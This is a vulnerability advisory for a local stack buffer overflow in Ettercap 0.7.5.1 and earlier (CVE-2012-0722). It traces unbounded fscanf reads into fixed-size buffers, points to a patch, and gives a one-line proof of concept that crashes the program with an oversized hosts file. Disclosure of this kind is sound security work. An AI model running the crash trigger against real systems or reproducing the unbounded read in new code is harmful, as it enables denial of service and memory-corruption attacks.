Title: Ettercap Stack overflow (CWE-121)
References: CVE-2012-0722
Discovered by: Sajjad Pourali
Vendor: http://www.ettercap.sourceforge.net/
Vendor contact: 13-01-01 21:20 UTC (No response)
Solution: Using the patch
Patch: http://www.securation.com/files/2013/01/ec.patch

Local: Yes
Remote: No
Impact: low

Affected:
 - ettercap 0.7.5.1
 - ettercap 0.7.5
 - ettercap 0.7.4 and earlier
Not affected:
 - ettercap 0.7.4.1

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Trace vulnerable place:

./include/ec_inet.h:27-44
enum {
   NS_IN6ADDRSZ            = 16,
   NS_INT16SZ              = 2,

   ETH_ADDR_LEN            = 6,
   TR_ADDR_LEN             = 6,
   FDDI_ADDR_LEN           = 6,
   MEDIA_ADDR_LEN          = 6,

   IP_ADDR_LEN             = 4,
   IP6_ADDR_LEN            = 16,
   MAX_IP_ADDR_LEN         = IP6_ADDR_LEN,

   ETH_ASCII_ADDR_LEN      = sizeof("ff:ff:ff:ff:ff:ff")+1,
   IP_ASCII_ADDR_LEN       = sizeof("255.255.255.255")+1,
   IP6_ASCII_ADDR_LEN      = sizeof("ffff:ffff:ffff:ffff:ffff:ffff:255.255.255.255")+1,
   MAX_ASCII_ADDR_LEN      = IP6_ASCII_ADDR_LEN,
};

./include/ec_resolv.h:42
#define MAX_HOSTNAME_LEN   64

./src/ec_scan.c:610-614
char ip[MAX_ASCII_ADDR_LEN];
char mac[ETH_ASCII_ADDR_LEN];
char name[MAX_HOSTNAME_LEN];

./src/ec_scan.c:633-635
if (fscanf(hf, "%s %s %s\n", ip, mac, name) != 3 ||
         *ip == '#' || *mac == '#' || *name == '#')
         continue;

---

PoC:

sudo ruby -e'puts"a"*2000' > overflow && sudo ettercap -T -j overflow

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 + Sajjad Pourali
 + http://www.securation.com
 + Contact: sajjad[at]securation.com